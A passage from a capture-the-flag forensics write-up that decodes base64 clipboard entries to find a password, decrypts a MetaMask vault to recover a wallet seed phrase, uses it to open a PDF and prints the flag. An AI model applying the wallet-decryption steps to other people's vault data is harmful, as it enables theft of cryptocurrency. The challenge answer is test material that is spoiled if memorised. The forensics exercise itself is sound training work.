"QzpcVXNlcnNcYWxiM2RcQXBwRGF0YVxMb2NhbFxNaWNyb3NvZnRcV2luZG93c0FwcHM=", "formatName": "Text"}, { "content": "IkM6XFVzZXJzXGFsYjNkXEFwcERhdGFcTG9jYWxcTWljcm9zb2Z0XFdpbmRvd3NBcHBzXHB5dGhvbi5leGUi", "formatName": "Text", }, {"content": "QzpcVXNlcnNcYWxiM2RcQXBwRGF0YVxMb2NhbFxQcm9ncmFtc1xQeXRob25cUHl0aG9uMzEz", "formatName": "Text"}, {"content": "QzpcVXNlcnNcYWxiM2RcQXBwRGF0YVxMb2NhbFxQcm9ncmFtc1xQeXRob25cUHl0aG9uMzEz", "formatName": "Text"}, { "content": "UHl0aG9uIDMuMTMuNSAodGFncy92My4xMy41OjZjYjIwYTIsIEp1biAxMSAyMDI1LCAxNjoxNTo0NikgW01TQyB2LjE5NDMgNjQgYml0IChBTUQ2NCldIG9uIHdpbjMyDQpUeXBlICJoZWxwIiwgImNvcHlyaWdodCIsICJjcmVkaXRzIiBvciAibGljZW5zZSIgZm9yIG1vcmUgaW5mb3JtYXRpb24uDQo+Pj4NCg==", "formatName": "Text", }, { "content": "QzpcVXNlcnNcYWxiM2Q+d2hlcmUgcHl0aG9uDQpDOlxVc2Vyc1xhbGIzZFxBcHBEYXRhXExvY2FsXE1pY3Jvc29mdFxXaW5kb3dzQXBwc1xweXRob24uZXhl", "formatName": "Text", }, {"content": "QzpcVXNlcnNcYWxiM2Q+cHkgLS12ZXJzaW9uDQpQeXRob24gMy4xMy41", "formatName": "Text"}, {"content": "IGh0dHA6Ly8xOTIuMTY4LjEyOS45Mjo4MDAwLw==", "formatName": "Text"}, {"content": "SUdoMGRIQTZMeTh4T1RJdU1UWTRMakV5T1M0NU1qbzRNREF3THc9PQ==", "formatName": "Text"}, {"content": "bWF1IHRlcyBhamE=", "formatName": "Text"}, { "content": "UXpwY1ZYTmxjbk5jWVd4aU0yUmNRWEJ3UkdGMFlWeE1iMk5oYkZ4RGIyNXVaV04wWldSRVpYWnBZMlZ6VUd4aGRHWnZjbTFjTkRZM09XWXpNekZoWkdWa016QTFZUT09", "formatName": "Text", }, { "content": "UXpwY1ZYTmxjbk5jWVd4aU0yUmNRWEJ3UkdGMFlWeE1iMk5oYkZ4RGIyNXVaV04wWldSRVpYWnBZMlZ6VUd4aGRHWnZjbTFjTkRZM09XWXpNekZoWkdWa016QTFZUT09", "formatName": "Text", }, {"content": "bmpheSBrZXJlbiBqdWdhIGJhbmc=", "formatName": "Text"}, {"content": "bWF1IG55YXJpIHBhc3N3b3JkbnlhIGF3b2thb3drYW9r", "formatName": "Text"}, {"content": "aW5pIHBhc3N3b3JkbnlhIGRpIGNvcHlhbiBzbGFuanV0bnlhIHlh", "formatName": "Text"}, {"content": "dGFwaSBib2hvbmcgOnY=", "formatName": "Text"}, { "content": "bmFoIGluaSBiZW5lcmFuDQoNCnBhc3N3b3JkIDogbTBuZHN0YWR0YzF0eTBmRnIzM2RvbQ0Ka2VyZW4gYmFuZw==", "formatName": "Text", }, { "content": "bmFoIGluaSBiZW5lcmFuDQoNCnBhc3N3b3JkIDogbTBuZHN0YWR0YzF0eTBmRnIzM2RvbQ0Ka2VyZW4gYmFuZw==", "formatName": "Text", }, {"content": "b2tlIGJhbmcgc2lsYWhrYW4gZGkgc29scCB5YSBkaWtpdCBsYWdp", "formatName": "Text"}, {"content": "a2VyZW4gZ2c=", "formatName": "Text"}, {"content": "a2VyZW4gZ2c=", "formatName": "Text"}, ] # Decode and print for entry in data: decoded = base64.b64decode(entry["content"]).decode(errors="ignore") print(decoded) ``` ![image](https://hackmd.io/_uploads/SkaXO7Otex.png) #### Decrypting vault data To retrieve the BIP 39 mnemonics from the vault, We can use this [online tool](https://metamask.github.io/vault-decryptor/). Just insert the vault data JSON and vault password. ![image](https://hackmd.io/_uploads/r13IJ4uKex.png) Now we have the `secret.pdf` password `detect_above_congress_nerve_weasel_pottery_arctic_sustain_vendor_stick_excuse_unable` ### Flag ![Screenshot 2025-08-24 093647](https://hackmd.io/_uploads/rykakVutge.png) `COMPFEST17{c0ngr@tulat1on_you_hav3_found_the_s3cret_and_here_is_y0ur_r3ward}`